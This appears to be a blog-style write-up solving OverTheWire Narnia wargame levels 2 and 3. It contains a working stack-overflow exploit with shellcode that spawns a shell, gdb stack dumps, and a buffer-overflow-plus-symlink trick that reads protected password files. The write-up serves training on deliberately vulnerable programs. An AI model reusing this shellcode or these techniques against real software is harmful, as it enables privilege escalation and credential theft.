overthewire / narina

Level 2

As before, we’re given the source code of the binary:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
        char buf[128];

        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        strcpy(buf,argv[1]);
        printf("%s", buf);

        return 0;
}

The argument to printf is properly formatted so it’s not a format string exploit. We do however notice the blind strcpy into buf, which is 128 bytes long. I guess the first question would be what would happen should the input be longer than that:

narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print "D"*160')
Segmentation fault

That’s actually good news - it means we probably messed up the stack and overwrote a return address with junk (or \x44\x44\x44\x44 in thise case). Let’s look at this through gdb:

narnia2@narnia:/narnia$ gdb -q narnia2
Reading symbols from narnia2...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x0804845d <+0>:     push   ebp
   0x0804845e <+1>:     mov    ebp,esp
   0x08048460 <+3>:     and    esp,0xfffffff0
   0x08048463 <+6>:     sub    esp,0x90
   0x08048469 <+12>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x0804846d <+16>:    jne    0x8048490 <main+51>
   0x0804846f <+18>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048472 <+21>:    mov    eax,DWORD PTR [eax]
   0x08048474 <+23>:    mov    DWORD PTR [esp+0x4],eax
   0x08048478 <+27>:    mov    DWORD PTR [esp],0x8048560
   0x0804847f <+34>:    call   0x8048310 <printf@plt>
   0x08048484 <+39>:    mov    DWORD PTR [esp],0x1
   0x0804848b <+46>:    call   0x8048340 <exit@plt>
   0x08048490 <+51>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048493 <+54>:    add    eax,0x4
   0x08048496 <+57>:    mov    eax,DWORD PTR [eax]
   0x08048498 <+59>:    mov    DWORD PTR [esp+0x4],eax
   0x0804849c <+63>:    lea    eax,[esp+0x10]
   0x080484a0 <+67>:    mov    DWORD PTR [esp],eax
   0x080484a3 <+70>:    call   0x8048320 <strcpy@plt>
   0x080484a8 <+75>:    lea    eax,[esp+0x10]
   0x080484ac <+79>:    mov    DWORD PTR [esp+0x4],eax
   0x080484b0 <+83>:    mov    DWORD PTR [esp],0x8048574
   0x080484b7 <+90>:    call   0x8048310 <printf@plt>
   0x080484bc <+95>:    mov    eax,0x0
   0x080484c1 <+100>:   leave
   0x080484c2 <+101>:   ret
End of assembler dump.
(gdb) break *0x080484a8
Breakpoint 1 at 0x80484a8

We start with a small input to better understand the stack layout.

(gdb) r $(python -c 'print "D"*16')
Starting program: /narnia/narnia2 ABCD

Breakpoint 1, 0x080484a8 in main ()
(gdb) p 0x90
$1 = 144
(gdb) x/40wx $esp
0xffffd680:     0xffffd690      0xffffd8ed      0x00000000      0x00000000
0xffffd690:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd6a0:     0xffffd700      0xffffd6c8      0xffffd6c0      0x08048249
0xffffd6b0:     0xf7ffd938      0x00000000      0x000000bf      0xf7eb7fe6
0xffffd6c0:     0xffffffff      0xffffd6ee      0xf7e2ec34      0xf7e54fe3
0xffffd6d0:     0x00000000      0x002c307d      0x00000001      0x080482dd
0xffffd6e0:     0xffffd8dd      0x0000002f      0x0804974c      0x08048522
0xffffd6f0:     0x00000002      0xffffd7b4      0xffffd7c0      0xf7e5519d
0xffffd700:     0xf7fcb3c4      0xf7ffd000      0x080484db      0xf7fcb000
0xffffd710:     0x080484d0      0x00000000      0x00000000      0xf7e3bad3
(gdb) info reg ebp
ebp            0xffffd718       0xffffd718

This means the character array buf is located at 0xffffd690. ebp is located at 0xffffd718 meaning the address below it is the caller’s (what called main) return address. Let’s find out what that is and what we need to do to overwrite it.

(gdb) x/bx 0xf7e3bad3
0xf7e3bad3 <__libc_start_main+243>:     0x89
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /narnia/narnia2 $(python -c 'print "D"*140 + "\xaa\xaa\xaa\xaa"')

Breakpoint 1, 0x080484a8 in main ()
(gdb) x/40wx $esp
0xffffd600:     0xffffd610      0xffffd86d      0x00000000      0x00000000
0xffffd610:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd620:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd630:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd640:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd650:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd660:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd670:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd680:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd690:     0x44444444      0x44444444      0x44444444      0xaaaaaaaa
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xaaaaaaaa in ?? ()

Sorted! We successfully overwrote libc’s address with one of our choosing. This means our payload will look a little like this: <nop sled><shellcode><padding><address pointing to the nop sled>. Without further ado:

(gdb) r $(python -c 'print "\x90"*64 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(140-64-35) + "\x10\xd6\xff\xff"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /narnia/narnia2 $(python -c 'print "\x90"*64 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(140-64-35) + "\x10\xd6\xff\xff"')

Breakpoint 1, 0x080484a8 in main ()
(gdb) x/44wx $esp
0xffffd600:     0xffffd610      0xffffd86d      0x00000000      0x00000000
0xffffd610:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd620:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd630:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd640:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd650:     0xdb31c031      0xb099c931      0x6a80cda4      0x6851580b
0xffffd660:     0x68732f2f      0x69622f68      0x51e3896e      0x8953e289
0xffffd670:     0x4180cde1      0x41414141      0x41414141      0x41414141
0xffffd680:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd690:     0x41414141      0x41414141      0x41414141      0xffffd610
0xffffd6a0:     0x00000000      0xffffd734      0xffffd740      0xf7feacca
(gdb) c
Continuing.
process 156 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x80484a8

We can now try that outside of gdb. Note that sometimes the return address won’t match exactly - gdb can set environment variables etc… causing the memory to be a bit off - hence the nop sled. As long as we hit the sled, the nop will lead right to the shellcode.

narnia2@narnia:/narnia$ /narnia/narnia2 $(python -c 'print "\x90"*64 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(140-64-35) + "\x10\xd6\xff\xff"')
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
*** password ***

Level 3

This looks a litle different than what we’re used to:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];

        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
                exit(-1);
        }

        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
                exit(-1);
        }
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);
                exit(-1);
        }

        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

        /* close 'em */
        close(ifd);
        close(ofd);

        exit(1);
}

But notice how the ifile buffer is right nex to the ofile one, and the strcpy is unbounded. With this we get a sense for what we’re supposed to do.

narnia3@narnia:/narnia$ ./narnia3 $(python -c 'print "_"*32 + "/tmp/foo"')
error opening /tmp/foo
narnia3@narnia:/narnia$ touch /tmp/foo
narnia3@narnia:/narnia$ ./narnia3 $(python -c 'print "_"*32 + "/tmp/foo"')
error opening ________________________________/tmp/foo

By providing an argument longer than 32 characters, we override the contents of ofile. The tricky bit is to make sure the last part of our input file matches that of our output. So if we output to /tmp/foo, our input must be <something>/tmp/foo.

narnia3@narnia:/narnia$ python -c 'print len("/tmp/symbolic_link_to_narnia4___")'
32
narnia3@narnia:/narnia$ mkdir -p /tmp/symbolic_link_to_narnia4___/tmp/
narnia3@narnia:/narnia$ touch /tmp/foo
narnia3@narnia:/narnia$ ln -s /etc/narnia_pass/narnia4 /tmp/symbolic_link_to_narnia4___/tmp/foo
narnia3@narnia:/narnia$ ./narnia3 /tmp/symbolic_link_to_narnia4___/tmp/foo
copied contents of /tmp/symbolic_link_to_narnia4___/tmp/foo to a safer place... (/tmp/foo)
narnia3@narnia:/narnia$ cat /tmp/foo
*** password ***
▒▒▒4▒}0,narnia3@narnia:/narnia$

Easy.